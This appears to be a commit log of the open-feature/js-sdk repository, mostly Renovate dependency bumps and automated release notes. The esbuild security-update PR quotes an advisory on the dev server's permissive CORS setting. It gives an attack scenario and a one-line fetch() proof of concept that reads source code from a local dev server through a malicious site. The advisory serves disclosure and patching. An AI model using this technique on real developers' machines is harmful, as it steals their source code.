[@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node)
([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node))
| [`^20.11.16` ->
`^22.0.0`](https://renovatebot.com/diffs/npm/@types%2fnode/20.17.31/22.15.17)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnode/22.15.17?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fnode/22.15.17?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fnode/20.17.31/22.15.17?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnode/20.17.31/22.15.17?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOC4xMzMuMSIsInVwZGF0ZWRJblZlciI6IjQwLjcuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOltdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-05-15 15:48:00 +00:00
renovate[bot] 1e58d2b65e
chore(deps): update dependency @types/node to v20.17.31 (#1138)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node)
([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node))
| [`20.17.16` ->
`20.17.31`](https://renovatebot.com/diffs/npm/@types%2fnode/20.17.16/20.17.31)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnode/20.17.31?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fnode/20.17.31?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fnode/20.17.16/20.17.31?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnode/20.17.16/20.17.31?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjI1Ny4zIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-04-30 13:01:21 -04:00
Michael Beemer 59c2f5df76
chore: regenerate package lock (#1184)
Attempting to address the E2E failure:
https://github.com/open-feature/js-sdk/actions/runs/14643009193/job/41089818968?pr=1181

Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2025-04-24 12:25:37 -04:00
Kaushal Kapasi 59b8fe904f
feat: adds RequireFlagsEnabled decorator (#1159)
## This PR
- Feature: Adds a `RequireFlagsEnabled` decorator to allow a simple,
reusable way to block access to a specific controller or endpoint based
on the value of a list of one, or many, boolean flags

### Notes
- Discussions on the approach & implementation are welcome!

### Follow-up Tasks
- Update OpenFeature NestJS docs to include new `RequireFlagsEnabled`
decorator & usage examples

### How to test
`npx jest --selectProject=nest`

---------

Signed-off-by: Kaushal Kapasi <kaushal.kapasi@taplytics.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2025-04-24 13:32:55 +00:00
Michael Beemer 4fe8d87a2e
docs: Clarify the behavior of setProviderAndWait (#1180)
## This PR

- Updates readme examples to include a try/catch around
setProviderAndWait
- Improves the setProviderAndWait JS Doc

### Related Issues

Fixes #1179

### Notes

https://cloud-native.slack.com/archives/C0344AANLA1/p1745326882304199

---------

Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2025-04-23 13:16:18 -04:00
OpenFeature Bot a259b9097b
chore(main): release angular-sdk 0.0.13 (#1175) 2025-04-20 19:07:29 +02:00
OpenFeature Bot d13adca9cd
chore(main): release nestjs-sdk 0.2.4 (#1177) 2025-04-20 19:07:06 +02:00
Lukas Reining 42a3b39c24
chore(nest): allow nestjs version 11 (#1176) 2025-04-20 09:26:13 +02:00
Todd Baert 2f55a36dca
chore: use publish env
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2025-04-16 12:27:46 -04:00
Lukas Reining 21a32ec92e
docs: fix readme typo (#1174)
Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
2025-04-14 16:41:22 -04:00
OpenFeature Bot 07a3d85742
chore(main): release react-sdk 1.0.0 (#1154)
🤖 I have created a release *beep* *boop*
---


##
[1.0.0](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.4.11...react-sdk-v1.0.0)
(2025-04-14)


###  New Features

* add polyfill for react use hook
([#1157](https://github.com/open-feature/js-sdk/issues/1157))
([5afe61f](5afe61f9e3))
* add support for abort controllers to event handlers
([#1151](https://github.com/open-feature/js-sdk/issues/1151))
([6a22483](6a224830fa))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2025-04-14 17:03:15 +00:00
OpenFeature Bot 37bcf3cf48
chore(main): release web-sdk 1.5.0 (#1156)
🤖 I have created a release *beep* *boop*
---


##
[1.5.0](https://github.com/open-feature/js-sdk/compare/web-sdk-v1.4.1...web-sdk-v1.5.0)
(2025-04-11)


###  New Features

* add a top-level method for accessing providers
([#1152](https://github.com/open-feature/js-sdk/issues/1152))
([ae8fce8](ae8fce8753))
* add support for abort controllers to event handlers
([#1151](https://github.com/open-feature/js-sdk/issues/1151))
([6a22483](6a224830fa))


### 🐛 Bug Fixes

* Typo in name of the function
([2c5b37c](2c5b37c79d))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Lukas Reining <lukas.reining@codecentric.de>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2025-04-14 15:48:45 +00:00
OpenFeature Bot aff60f6776
chore(main): release server-sdk 1.18.0 (#1153)
🤖 I have created a release *beep* *boop*
---


##
[1.18.0](https://github.com/open-feature/js-sdk/compare/server-sdk-v1.17.1...server-sdk-v1.18.0)
(2025-04-11)


###  New Features

* add a top-level method for accessing providers
([#1152](https://github.com/open-feature/js-sdk/issues/1152))
([ae8fce8](ae8fce8753))
* add support for abort controllers to event handlers
([#1151](https://github.com/open-feature/js-sdk/issues/1151))
([6a22483](6a224830fa))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Co-authored-by: Lukas Reining <lukas.reining@codecentric.de>
2025-04-11 14:30:17 +02:00
OpenFeature Bot 7864bd704c
chore(main): release nestjs-sdk 0.2.3 (#1144)
🤖 I have created a release *beep* *boop*
---


##
[0.2.3](https://github.com/open-feature/js-sdk/compare/nestjs-sdk-v0.2.2...nestjs-sdk-v0.2.3)
(2025-04-11)


### 🧹 Chore

* update sdk peer
([#1142](https://github.com/open-feature/js-sdk/issues/1142))
([8bb6206](8bb620601e))


### Dependencies

* The following workspace dependencies were updated
  * devDependencies
    * @openfeature/server-sdk bumped from * to 1.18.0

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2025-04-11 14:17:48 +02:00
OpenFeature Bot 191433e705
chore(main): release angular-sdk 0.0.12 (#1171)
🤖 I have created a release *beep* *boop*
---


##
[0.0.12](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.11...angular-sdk-v0.0.12)
(2025-04-11)


###  New Features

* **angular:** add docs for setting evaluation context in angular
([#1170](https://github.com/open-feature/js-sdk/issues/1170))
([24f1b23](24f1b230bf))


### Dependencies

* The following workspace dependencies were updated
  * devDependencies
    * @openfeature/web-sdk bumped from * to 1.5.0

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
Co-authored-by: Lukas Reining <lukas.reining@codecentric.de>
2025-04-11 14:04:30 +02:00
Lukas Reining 24f1b230bf
feat(angular): add docs for setting evaluation context in angular (#1170)
<!-- Please use this template for your pull request. -->
<!-- Please use the sections that you need and delete other sections -->

Adds docs for setting evaluation context in angular

Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
2025-04-11 13:56:24 +02:00
renovate[bot] 5f85a56362
chore(deps): update dependency esbuild to ^0.25.0 [security] (#1145)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [esbuild](https://redirect.github.com/evanw/esbuild) | [`^0.24.0` ->
`^0.25.0`](https://renovatebot.com/diffs/npm/esbuild/0.24.2/0.25.0) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/esbuild/0.25.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/esbuild/0.25.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/esbuild/0.24.2/0.25.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/esbuild/0.24.2/0.25.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

### GitHub Vulnerability Alerts

####
[GHSA-67mh-4wv8-2f99](https://redirect.github.com/evanw/esbuild/security/advisories/GHSA-67mh-4wv8-2f99)

### Summary

esbuild allows any websites to send any request to the development
server and read the response due to default CORS settings.

### Details

esbuild sets `Access-Control-Allow-Origin: *` header to all requests,
including the SSE connection, which allows any websites to send any
request to the development server and read the response.


df815ac27b/pkg/api/serve_other.go (L121)

df815ac27b/pkg/api/serve_other.go (L363)

**Attack scenario**:

1. The attacker serves a malicious web page
(`http://malicious.example.com`).
1. The user accesses the malicious web page.
1. The attacker sends a `fetch('http://127.0.0.1:8000/main.js')` request
by JS in that malicious web page. This request is normally blocked by
same-origin policy, but that's not the case for the reasons above.
1. The attacker gets the content of `http://127.0.0.1:8000/main.js`.

In this scenario, I assumed that the attacker knows the URL of the
bundle output file name. But the attacker can also get that information
by

- Fetching `/index.html`: normally you have a script tag here
- Fetching `/assets`: it's common to have a `assets` directory when you
have JS files and CSS files in a different directory and the directory
listing feature tells the attacker the list of files
- Connecting `/esbuild` SSE endpoint: the SSE endpoint sends the URL
path of the changed files when the file is changed (`new
EventSource('/esbuild').addEventListener('change', e =>
console.log(e.type, e.data))`)
- Fetching URLs in the known file: once the attacker knows one file, the
attacker can know the URLs imported from that file

The scenario above fetches the compiled content, but if the victim has
the source map option enabled, the attacker can also get the
non-compiled content by fetching the source map file.

### PoC

1. Download
[reproduction.zip](https://redirect.github.com/user-attachments/files/18561484/reproduction.zip)
2. Extract it and move to that directory
1. Run `npm i`
1. Run `npm run watch`
1. Run `fetch('http://127.0.0.1:8000/app.js').then(r =>
r.text()).then(content => console.log(content))` in a different
website's dev tools.


![image](https://redirect.github.com/user-attachments/assets/08fc2e4d-e1ec-44ca-b0ea-78a73c3c40e9)

### Impact

Users using the serve feature may get the source code stolen by
malicious websites.

---

### Release Notes

<details>
<summary>evanw/esbuild (esbuild)</summary>

###
[`v0.25.0`](https://redirect.github.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#v0250)

[Compare
Source](https://redirect.github.com/evanw/esbuild/compare/v0.24.2...v0.25.0)

**This release deliberately contains backwards-incompatible changes.**
To avoid automatically picking up releases like this, you should either
be pinning the exact version of `esbuild` in your `package.json` file
(recommended) or be using a version range syntax that only accepts patch
upgrades such as `^0.24.0` or `~0.24.0`. See npm's documentation about
[semver](https://docs.npmjs.com/cli/v6/using-npm/semver/) for more
information.

- Restrict access to esbuild's development server
([GHSA-67mh-4wv8-2f99](https://redirect.github.com/evanw/esbuild/security/advisories/GHSA-67mh-4wv8-2f99))

This change addresses esbuild's first security vulnerability report.
Previously esbuild set the `Access-Control-Allow-Origin` header to `*`
to allow esbuild's development server to be flexible in how it's used
for development. However, this allows the websites you visit to make
HTTP requests to esbuild's local development server, which gives
read-only access to your source code if the website were to fetch your
source code's specific URL. You can read more information in [the
report](https://redirect.github.com/evanw/esbuild/security/advisories/GHSA-67mh-4wv8-2f99).

Starting with this release,
[CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) will now
be disabled, and requests will now be denied if the host does not match
the one provided to `--serve=`. The default host is `0.0.0.0`, which
refers to all of the IP addresses that represent the local machine (e.g.
both `127.0.0.1` and `192.168.0.1`). If you want to customize anything
about esbuild's development server, you can [put a proxy in front of
esbuild](https://esbuild.github.io/api/#serve-proxy) and modify the
incoming and/or outgoing requests.

In addition, the `serve()` API call has been changed to return an array
of `hosts` instead of a single `host` string. This makes it possible to
determine all of the hosts that esbuild's development server will
accept.

Thanks to [@&#8203;sapphi-red](https://redirect.github.com/sapphi-red)
for reporting this issue.

- Delete output files when a build fails in watch mode
([#&#8203;3643](https://redirect.github.com/evanw/esbuild/issues/3643))

It has been requested for esbuild to delete files when a build fails in
watch mode. Previously esbuild left the old files in place, which could
cause people to not immediately realize that the most recent build
failed. With this release, esbuild will now delete all output files if a
rebuild fails. Fixing the build error and triggering another rebuild
will restore all output files again.

- Fix correctness issues with the CSS nesting transform
([#&#8203;3620](https://redirect.github.com/evanw/esbuild/issues/3620),
[#&#8203;3877](https://redirect.github.com/evanw/esbuild/issues/3877),
[#&#8203;3933](https://redirect.github.com/evanw/esbuild/issues/3933),
[#&#8203;3997](https://redirect.github.com/evanw/esbuild/issues/3997),
[#&#8203;4005](https://redirect.github.com/evanw/esbuild/issues/4005),
[#&#8203;4037](https://redirect.github.com/evanw/esbuild/pull/4037),
[#&#8203;4038](https://redirect.github.com/evanw/esbuild/pull/4038))

    This release fixes the following problems:

- Naive expansion of CSS nesting can result in an exponential blow-up of
generated CSS if each nesting level has multiple selectors. Previously
esbuild sometimes collapsed individual nesting levels using `:is()` to
limit expansion. However, this collapsing wasn't correct in some cases,
so it has been removed to fix correctness issues.

        ```css
        /* Original code */
        .parent {
          > .a,
          > .b1 > .b2 {
            color: red;
          }
        }

        /* Old output (with --supported:nesting=false) */
        .parent > :is(.a, .b1 > .b2) {
          color: red;
        }

        /* New output (with --supported:nesting=false) */
        .parent > .a,
        .parent > .b1 > .b2 {
          color: red;
        }
        ```

Thanks to [@&#8203;tim-we](https://redirect.github.com/tim-we) for
working on a fix.

- The `&` CSS nesting selector can be repeated multiple times to
increase CSS specificity. Previously esbuild ignored this possibility
and incorrectly considered `&&` to have the same specificity as `&`.
With this release, this should now work correctly:

        ```css
        /* Original code (color should be red) */
        div {
          && { color: red }
          & { color: blue }
        }

        /* Old output (with --supported:nesting=false) */
        div {
          color: red;
        }
        div {
          color: blue;
        }

        /* New output (with --supported:nesting=false) */
        div:is(div) {
          color: red;
        }
        div {
          color: blue;
        }
        ```

Thanks to [@&#8203;CPunisher](https://redirect.github.com/CPunisher) for
working on a fix.

- Previously transforming nested CSS incorrectly removed leading
combinators from within pseudoclass selectors such as `:where()`. This
edge case has been fixed and how has test coverage.

        ```css
        /* Original code */
        a b:has(> span) {
          a & {
            color: green;
          }
        }

        /* Old output (with --supported:nesting=false) */
        a :is(a b:has(span)) {
          color: green;
        }

        /* New output (with --supported:nesting=false) */
        a :is(a b:has(> span)) {
          color: green;
        }
        ```

This fix was contributed by
[@&#8203;NoremacNergfol](https://redirect.github.com/NoremacNergfol).

- The CSS minifier contains logic to remove the `&` selector when it can
be implied, which happens when there is only one and it's the leading
token. However, this logic was incorrectly also applied to selector
lists inside of pseudo-class selectors such as `:where()`. With this
release, the minifier will now avoid applying this logic in this edge
case:

        ```css
        /* Original code */
        .a {
          & .b { color: red }
          :where(& .b) { color: blue }
        }

        /* Old output (with --minify) */
        .a{.b{color:red}:where(.b){color:#&#8203;00f}}

        /* New output (with --minify) */
        .a{.b{color:red}:where(& .b){color:#&#8203;00f}}
        ```

- Fix some correctness issues with source maps
([#&#8203;1745](https://redirect.github.com/evanw/esbuild/issues/1745),
[#&#8203;3183](https://redirect.github.com/evanw/esbuild/issues/3183),
[#&#8203;3613](https://redirect.github.com/evanw/esbuild/issues/3613),
[#&#8203;3982](https://redirect.github.com/evanw/esbuild/issues/3982))

Previously esbuild incorrectly treated source map path references as
file paths instead of as URLs. With this release, esbuild will now treat
source map path references as URLs. This fixes the following problems
with source maps:

- File names in `sourceMappingURL` that contained a space previously did
not encode the space as `%20`, which resulted in JavaScript tools
(including esbuild) failing to read that path back in when consuming the
generated output file. This should now be fixed.

- Absolute URLs in `sourceMappingURL` that use the `file://` scheme
previously attempted to read from a folder called `file:`. These URLs
should now be recognized and parsed correctly.

- Entries in the `sources` array in the source map are now treated as
URLs instead of file paths. The correct behavior for this is much more
clear now that source maps has a [formal
specification](https://tc39.es/ecma426/). Many thanks to those who
worked on the specification.

- Fix incorrect package for `@esbuild/netbsd-arm64`
([#&#8203;4018](https://redirect.github.com/evanw/esbuild/issues/4018))

Due to a copy+paste typo, the binary published to
`@esbuild/netbsd-arm64` was not actually for `arm64`, and didn't run in
that environment. This release should fix running esbuild in that
environment (NetBSD on 64-bit ARM). Sorry about the mistake.

- Fix a minification bug with bitwise operators and bigints
([#&#8203;4065](https://redirect.github.com/evanw/esbuild/issues/4065))

This change removes an incorrect assumption in esbuild that all bitwise
operators result in a numeric integer. That assumption was correct up
until the introduction of bigints in ES2020, but is no longer correct
because almost all bitwise operators now operate on both numbers and
bigints. Here's an example of the incorrect minification:

    ```js
    // Original code
    if ((a & b) !== 0) found = true

    // Old output (with --minify)
    a&b&&(found=!0);

    // New output (with --minify)
    (a&b)!==0&&(found=!0);
    ```

- Fix esbuild incorrectly rejecting valid TypeScript edge case
([#&#8203;4027](https://redirect.github.com/evanw/esbuild/issues/4027))

    The following TypeScript code is valid:

    ```ts
    export function open(async?: boolean): void {
      console.log(async as boolean)
    }
    ```

Before this version, esbuild would fail to parse this with a syntax
error as it expected the token sequence `async as ...` to be the start
of an async arrow function expression `async as => ...`. This edge case
should be parsed correctly by esbuild starting with this release.

- Transform BigInt values into constructor calls when unsupported
([#&#8203;4049](https://redirect.github.com/evanw/esbuild/issues/4049))

Previously esbuild would refuse to compile the BigInt literals (such as
`123n`) if they are unsupported in the configured target environment
(such as with `--target=es6`). The rationale was that they cannot be
polyfilled effectively because they change the behavior of JavaScript's
arithmetic operators and JavaScript doesn't have operator overloading.

However, this prevents using esbuild with certain libraries that would
otherwise work if BigInt literals were ignored, such as with old
versions of the [`buffer`
library](https://redirect.github.com/feross/buffer) before the library
fixed support for running in environments without BigInt support. So
with this release, esbuild will now turn BigInt literals into BigInt
constructor calls (so `123n` becomes `BigInt(123)`) and generate a
warning in this case. You can turn off the warning with
`--log-override:bigint=silent` or restore the warning to an error with
`--log-override:bigint=error` if needed.

- Change how `console` API dropping works
([#&#8203;4020](https://redirect.github.com/evanw/esbuild/issues/4020))

Previously the `--drop:console` feature replaced all method calls off of
the `console` global with `undefined` regardless of how long the
property access chain was (so it applied to `console.log()` and
`console.log.call(console)` and `console.log.not.a.method()`). However,
it was pointed out that this breaks uses of `console.log.bind(console)`.
That's also incompatible with Terser's implementation of the feature,
which is where this feature originally came from (it does support
`bind`). So with this release, using this feature with esbuild will now
only replace one level of method call (unless extended by `call` or
`apply`) and will replace the method being called with an empty function
in complex cases:

    ```js
    // Original code
    const x = console.log('x')
    const y = console.log.call(console, 'y')
    const z = console.log.bind(console)('z')

    // Old output (with --drop-console)
    const x = void 0;
    const y = void 0;
    const z = (void 0)("z");

    // New output (with --drop-console)
    const x = void 0;
    const y = void 0;
    const z = (() => {
    }).bind(console)("z");
    ```

    This should more closely match Terser's existing behavior.

-   Allow BigInt literals as `define` values

With this release, you can now use BigInt literals as define values,
such as with `--define:FOO=123n`. Previously trying to do this resulted
in a syntax error.

- Fix a bug with resolve extensions in `node_modules`
([#&#8203;4053](https://redirect.github.com/evanw/esbuild/issues/4053))

The `--resolve-extensions=` option lets you specify the order in which
to try resolving implicit file extensions. For complicated reasons,
esbuild reorders TypeScript file extensions after JavaScript ones inside
of `node_modules` so that JavaScript source code is always preferred to
TypeScript source code inside of dependencies. However, this reordering
had a bug that could accidentally change the relative order of
TypeScript file extensions if one of them was a prefix of the other.
That bug has been fixed in this release. You can see the issue for
details.

- Better minification of statically-determined `switch` cases
([#&#8203;4028](https://redirect.github.com/evanw/esbuild/issues/4028))

With this release, esbuild will now try to trim unused code within
`switch` statements when the test expression and `case` expressions are
primitive literals. This can arise when the test expression is an
identifier that is substituted for a primitive literal at compile time.
For example:

    ```js
    // Original code
    switch (MODE) {
      case 'dev':
        installDevToolsConsole()
        break
      case 'prod':
        return
      default:
        throw new Error
    }

    // Old output (with --minify '--define:MODE="prod"')

switch("prod"){case"dev":installDevToolsConsole();break;case"prod":return;default:throw
new Error}

    // New output (with --minify '--define:MODE="prod"')
    return;
    ```

- Emit `/* @&#8203;__KEY__ */` for string literals derived from property
names
([#&#8203;4034](https://redirect.github.com/evanw/esbuild/issues/4034))

Property name mangling is an advanced feature that shortens certain
property names for better minification (I say "advanced feature" because
it's very easy to break your code with it). Sometimes you need to store
a property name in a string, such as `obj.get('foo')` instead of
`obj.foo`. JavaScript minifiers such as esbuild and
[Terser](https://terser.org/) have a convention where a `/*
@&#8203;__KEY__ */` comment before the string makes it behave like a
property name. So `obj.get(/* @&#8203;__KEY__ */ 'foo')` allows the
contents of the string `'foo'` to be shortened.

However, esbuild sometimes itself generates string literals containing
property names when transforming code, such as when lowering class
fields to ES6 or when transforming TypeScript decorators. Previously
esbuild didn't generate its own `/* @&#8203;__KEY__ */` comments in this
case, which means that minifying your code by running esbuild again on
its own output wouldn't work correctly (this does not affect people that
both minify and transform their code in a single step).

With this release, esbuild will now generate `/* @&#8203;__KEY__ */`
comments for property names in generated string literals. To avoid lots
of unnecessary output for people that don't use this advanced feature,
the generated comments will only be present when the feature is active.
If you want to generate the comments but not actually mangle any
property names, you can use a flag that has no effect such as
`--reserve-props=.`, which tells esbuild to not mangle any property
names (but still activates this feature).

- The `text` loader now strips the UTF-8 BOM if present
([#&#8203;3935](https://redirect.github.com/evanw/esbuild/issues/3935))

Some software (such as Notepad on Windows) can create text files that
start with the three bytes `0xEF 0xBB 0xBF`, which is referred to as the
"byte order mark". This prefix is intended to be removed before using
the text. Previously esbuild's `text` loader included this byte sequence
in the string, which turns into a prefix of `\uFEFF` in a JavaScript
string when decoded from UTF-8. With this release, esbuild's `text`
loader will now remove these bytes when they occur at the start of the
file.

- Omit legal comment output files when empty
([#&#8203;3670](https://redirect.github.com/evanw/esbuild/issues/3670))

Previously configuring esbuild with `--legal-comment=external` or
`--legal-comment=linked` would always generate a `.LEGAL.txt` output
file even if it was empty. Starting with this release, esbuild will now
only do this if the file will be non-empty. This should result in a more
organized output directory in some cases.

- Update Go from 1.23.1 to 1.23.5
([#&#8203;4056](https://redirect.github.com/evanw/esbuild/issues/4056),
[#&#8203;4057](https://redirect.github.com/evanw/esbuild/pull/4057))

This should have no effect on existing code as this version change does
not change Go's operating system support. It may remove certain reports
from vulnerability scanners that detect which version of the Go compiler
esbuild uses.

This PR was contributed by
[@&#8203;MikeWillCook](https://redirect.github.com/MikeWillCook).

- Allow passing a port of 0 to the development server
([#&#8203;3692](https://redirect.github.com/evanw/esbuild/issues/3692))

Unix sockets interpret a port of 0 to mean "pick a random unused port in
the [ephemeral port](https://en.wikipedia.org/wiki/Ephemeral_port)
range". However, esbuild's default behavior when the port is not
specified is to pick the first unused port starting from 8000 and
upward. This is more convenient because port 8000 is typically free, so
you can for example restart the development server and reload your app
in the browser without needing to change the port in the URL. Since
esbuild is written in Go (which does not have optional fields like
JavaScript), not specifying the port in Go means it defaults to 0, so
previously passing a port of 0 to esbuild caused port 8000 to be picked.

Starting with this release, passing a port of 0 to esbuild when using
the CLI or the JS API will now pass port 0 to the OS, which will pick a
random ephemeral port. To make this possible, the `Port` option in the
Go API has been changed from `uint16` to `int` (to allow for additional
sentinel values) and passing a port of -1 in Go now picks a random port.
Both the CLI and JS APIs now remap an explicitly-provided port of 0 into
-1 for the internal Go API.

Another option would have been to change `Port` in Go from `uint16` to
`*uint16` (Go's closest equivalent of `number | undefined`). However,
that would make the common case of providing an explicit port in Go very
awkward as Go doesn't support taking the address of integer constants.
This tradeoff isn't worth it as picking a random ephemeral port is a
rare use case. So the CLI and JS APIs should now match standard Unix
behavior when the port is 0, but you need to use -1 instead with Go API.

- Minification now avoids inlining constants with direct `eval`
([#&#8203;4055](https://redirect.github.com/evanw/esbuild/issues/4055))

    Direct `eval` can be used to introduce a new variable like this:

    ```js
    const variable = false
    ;(function () {
      eval("var variable = true")
      console.log(variable)
    })()
    ```

Previously esbuild inlined `variable` here (which became `false`), which
changed the behavior of the code. This inlining is now avoided, but
please keep in mind that direct `eval` breaks many assumptions that
JavaScript tools hold about normal code (especially when bundling) and I
do not recommend using it. There are usually better alternatives that
have a more localized impact on your code. You can read more about this
here: https://esbuild.github.io/link/direct-eval/

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNjQuMSIsInVwZGF0ZWRJblZlciI6IjM5LjE2NC4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-04-11 10:21:28 +00:00
renovate[bot] 9218e987a0
chore(deps): update angular-eslint monorepo to v19 (major) (#1140)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@angular-eslint/builder](https://redirect.github.com/angular-eslint/angular-eslint)
([source](https://redirect.github.com/angular-eslint/angular-eslint/tree/HEAD/packages/builder))
| [`18.4.3` ->
`19.3.0`](https://renovatebot.com/diffs/npm/@angular-eslint%2fbuilder/18.4.3/19.3.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@angular-eslint%2fbuilder/19.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@angular-eslint%2fbuilder/19.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@angular-eslint%2fbuilder/18.4.3/19.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@angular-eslint%2fbuilder/18.4.3/19.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
|
[@angular-eslint/eslint-plugin](https://redirect.github.com/angular-eslint/angular-eslint)
([source](https://redirect.github.com/angular-eslint/angular-eslint/tree/HEAD/packages/eslint-plugin))
| [`18.4.3` ->
`19.3.0`](https://renovatebot.com/diffs/npm/@angular-eslint%2feslint-plugin/18.4.3/19.3.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@angular-eslint%2feslint-plugin/19.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@angular-eslint%2feslint-plugin/19.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@angular-eslint%2feslint-plugin/18.4.3/19.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
